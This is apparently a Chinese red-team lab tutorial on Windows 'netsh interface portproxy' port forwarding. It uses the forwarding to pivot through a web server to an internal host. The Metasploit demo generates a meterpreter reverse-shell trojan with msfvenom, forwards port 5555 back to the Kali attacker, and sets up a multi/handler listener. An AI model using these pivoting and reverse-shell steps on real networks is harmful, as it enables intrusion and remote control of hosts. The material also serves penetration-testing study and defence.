红队隧道应用篇之Netsh端口转发
简介
netsh是从Windows 2000开始就有的一个用于配置网络设备的命令行工具
其中netsh interface portproxy
是一个配置网络代理的命令, 可以配置ipv4或ipv6的端口转发代理以及双向端口转发代理
常用功能
添加端口转发(管理员权限)
下述命令的意思是, 若有TCP的链接发送至本机(127.0.0.1)的80端口时, 会将链接转发至目标地址(192.168.52.148)的指定端口(80)
netsh interface portproxy add v4tov4 listenport=80 connectport=80 connectaddress=192.168.52.148
add v4tov4
: 添加一条ipv4至ipv4的端口转发记录
listenport:
本机的监听端口
listenaddress:
本机的监听地址, 不填默认为本机地址
connectport:
目标端口
connectaddress:
目标地址
删除端口转发(管理员权限)
netsh interface portproxy delete v4tov4 listenport=80 listenaddress=127.0.0.1
delete v4tov4: 删除一条ipv4到ipv4的端口转发记录
查看所有的端口转发规则
netsh interface portproxy show all
清除所有的端口转发规则
netsh interface portproxy reset
http端口转发
环境拓扑图
由于攻击机(192.168.47.133)和内网主机(192.168.52.148)不在同一个网段上, 因此攻击机不能访问到内网主机web服务的80端口
但是可以通过在Web服务器使用netsh
命令将本机的80端口收到的数据转发给内网主机, 来实现攻击机只需访问Web服务器的80端口就能访问到内网主机的80端口
操作步骤
在Web服务器使用管理员权限执行以下cmd命令, 意思是将本机80端口的数据转发至192.168.52.148的80端口
netsh interface portproxy add v4tov4 listenport=80 connectport=80 connectaddress=192.168.52.148
随后攻击机访问Web服务器192.168.47.149:80
, 即可访问到内网主机的Web服务
MSF实战演示
环境拓扑图
Kali通过将Web服务器作为一个跳板, 将生成的反向木马发送至内网主机, 内网主机运行木马后会主动连接Web服务器, Web服务器通过端口转发功能将内网主机的连接数据转发至kali
操作步骤
在kali生成一个反向木马用于让内网主机主动连接Web服务器的5555端口, 然后将此木马放到内网主机中去
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.143 lport=5555 -f exe >reverse.exe
在Web服务器设置端口转发, 将本机5555端口接收到的数据转发至kali的5555端口
netsh interface portproxy add v4tov4 listenport=5555 connectport=5555 connectaddress=192.168.47.134
在kali的MSF创建监听,监听本机的5555端口
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.47.134
lhost => 192.168.47.134
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit
在内网主机运行木马后, 随后会在MSF返回内网主机的meterpreter会话